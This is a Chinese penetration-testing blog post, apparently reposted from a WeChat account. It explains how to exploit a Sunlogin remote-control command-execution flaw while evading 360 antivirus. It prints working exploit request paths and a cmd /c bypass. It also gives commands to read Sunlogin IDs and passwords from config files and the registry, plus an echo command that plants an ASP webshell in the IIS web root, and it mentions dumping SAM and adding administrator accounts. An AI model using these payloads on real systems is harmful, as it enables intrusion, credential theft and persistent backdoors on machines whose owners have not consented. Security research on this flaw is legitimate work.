某远控RCE绕过某数字的利用方式

渗透技巧 2年前 (2022) admin
1,225 0 0
声明:该公众号大部分文章来自作者日常学习笔记,也有部分文章是经过作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。


0x01 前言

群友在某次项目测试中遇到一个存在向日葵远程命令执行漏洞的IP,目标环境Windows2016+360+Wdf,由于存在360而无法通过向日葵漏洞利用工具执行命令进行下一步测试。


当时复现这个漏洞时还真没想到过有防护问题,所以想对他这次遇到的场景进行一些分析和测试。


0x02 模拟场景

本地模拟了这个实战场景,向日葵10.5.0.29613,360安全卫士13.0.0.2003,测试用的Payload如下。

/cgi-bin/rpc?action=verify-haras/check?cmd=ping../../../windows/system32/whoami/check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami
某远控RCE绕过某数字的利用方式

0x03 问题复现

测试了Github上大部分的向日葵利用工具,在执行命令时都被360拦截了,因为它们都是基于Powershell那个Payload来写的,而360又对Powershell的进程链监控的非常严,所以被拦也正常。

某远控RCE绕过某数字的利用方式


我们在Burpsuite测试时发现,当执行的命令被360拦截时会出现:failed,error 5,当目标主机上没有对应程序时会出现:failed,error 2,也有可能会出现拒绝访问或不是内部命令的中文乱码

某远控RCE绕过某数字的利用方式


同时在这个Payload也测试了以下常用命令,但均被拦截,执行dir、type命令拦的是Powershell,其他拦的都是对应系统程序,systeminfo倒是没被拦,但可以说这个Payload已经很难再绕过了。

whoami、sc、dir、type、query、netstat、tasklist、net user...
某远控RCE绕过某数字的利用方式


不过我们仍然可以用另一个Payload来执行一些常用命令,只要System32或SysWOW64目录下存在的系统程序大部分都可以执行,这样360是不会拦的,不过这种方式只能用做简单的信息搜集。

/check?cmd=ping../../../windows/system32/tasklist+/svc
某远控RCE绕过某数字的利用方式


但像dir、del、echo、copy、type这类文件操作命令就执行不了,因为System32下没有对应的程序,所以我们还是得通过cmd /c这种方式来执行,注意必须把cmd路径中的/正斜杠改为反斜杠

/check?cmd=ping../../../WindowsSystem32cmd+/c+dir+c:
某远控RCE绕过某数字的利用方式


0x04 解决方案

我们只需将向日葵利用工具源码中的命令执行方式改为cmd /c,这样就能完美解决在执行命令时被360拦截的问题。可通过向日葵允许的ping、nslookup执行命令,简化后的Payload如下。

/check?cmd=ping/..cmd+/c+whoami/check?cmd=nslookup/..cmd+/c+whoami

某远控RCE绕过某数字的利用方式

某远控RCE绕过某数字的利用方式


注:现在我们虽然已经可以执行常用命令了,但切记一定不要去执行以下这些高危命令,因为一旦执行后360就有可能会直接拦截cmd.exe,后边再去执行任何命令都会被360的进程防护拦截。

powershell、net user、wscript/cscript...
某远控RCE绕过某数字的利用方式


用于绕过360执行命令的向日葵漏洞利用工具和源码可通过关注“潇湘信安公众号回复“0616”来获取。


0x05 绕过思路

(1) 直接执行木马上线CS

只能执行常用命令而不能上线怎么行?所以我还是测试了一个利用白名单绕过360进程防护上线的方式,这里只是给大家提供个思路,其他白名单还请自行测试。
某远控RCE绕过某数字的利用方式
某远控RCE绕过某数字的利用方式
某远控RCE绕过某数字的利用方式

注:CS/MSF自带的hta里还有一层Powershell,执行会拦Powershell.exe,利用工具卡死,强制结束后就不能再执行任何命令了,这啥原理我也不知道,只是发现里边已经运行了一个ms.exe。

某远控RCE绕过某数字的利用方式


(2) 读取向日葵配置文件

低版本向日葵可直接执行以下命令读取默认安装路径中的config.ini配置文件即可获取ID和Pass,然后再用解密脚本得到明文后直接去连接就好了,那如果是高版本向日葵或自定义安装呢?

type C:Progra~1OraySunLoginSunloginClientconfig.inifindstr . C:Progra~1OraySunLoginSunloginClientconfig.ini
某远控RCE绕过某数字的利用方式

因为较高版本的向日葵将ID和Pass写进注册表里了,所以在配置文件中是找不到的,可通过执行以下命令读取对应注册表项获取ID和Pass,直接执行reg query命令会被360拦哦。

某远控RCE绕过某数字的利用方式

如果目标主机的向日葵为自定义路径安装,那么我们该如何得到他的安装路径去读取config配置文件呢?可以使用sc qc命令查询向日葵服务得到安装路径,或者读取向日葵服务对应的注册表项。

某远控RCE绕过某数字的利用方式

注:12.5.0.43486版本后的ID和Pass既没有保存在配置文件,也没有写进注册表,而且最近向日葵官方公众号在6月1日还出公告说要强制升级了,在连接朋友时也有看到提示,估计以后都没得玩咯。

某远控RCE绕过某数字的利用方式

(3) 网站路径写Webshell

如果目标主机有Web,我们可以用dir命令逐级查找Web目录,或直接根据网站上存在的脚本、图片、JS等文件来查找,也可以读取iis配置文件等,找到后写入Webshell,然后再进行提权,以下命令360都没拦。

dir /a/b/s C:iisstart.png%windir%system32inetsrvappcmd list VDIRecho ^<%eval request("1")%^> >C:inetpubwwwrootshell.asp
某远控RCE绕过某数字的利用方式

注:我们还是得注意下写入文件内容的”双引号与利用工具执行命令的”双引号闭合问题,如果按常规方式写入的话”双引号可能会被吃掉,经过测试发现,这里得用3个双引号才能正常写入,工具BUG问题吧。

echo ^<%eval request("""1""")%^> >C:inetpubwwwrootshell.asp
某远控RCE绕过某数字的利用方式
某远控RCE绕过某数字的利用方式


(4) 其他的一些利用思路

除了以上几种利用方式,还有很多方法可以用,如:导出SAM注册表,本地解密得到明文,分段写入添加用户的Vbs脚本等,我就不挨个去测试了, 只要是你知道的方法都可以去试下,说不定就行呢!!!


读取向日葵配置文件的方法最为稳妥,因为360和Wdf都不会对其进行拦截,可以省去很多麻烦事。


0x06 文末总结

首先我们是解决了向日葵利用工具执行命令被360拦截的问题,后边其实大部分测试的都是在向日葵远程命令执行漏洞下如何去绕过360进程防护执行木马、脚本、读注册表、导出SAM、添加管理员等,其实都是些重复的东西。


听群里朋友说奇安信的天擎会直接以Cookie中的CID作为特征来进行拦截,也不知道真假?



关 注 有 礼



关注公众号回复“9527”可以领取一套HTB靶场文档和视频1208”个人常用高效爆破字典0221”2020年酒仙桥文章打包2191潇湘信安文章打包,“1212”杀软对比源码+数据源,0421Windows提权工具包

某远控RCE绕过某数字的利用方式 还在等什么?赶紧点击下方名片关注学习吧!某远控RCE绕过某数字的利用方式


推 荐 阅 读




某远控RCE绕过某数字的利用方式
某远控RCE绕过某数字的利用方式
某远控RCE绕过某数字的利用方式

某远控RCE绕过某数字的利用方式

原文始发于微信公众号(潇湘信安):某远控RCE绕过某数字的利用方式

版权声明:admin 发表于 2022年6月17日 上午9:01。
转载请注明:某远控RCE绕过某数字的利用方式 | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...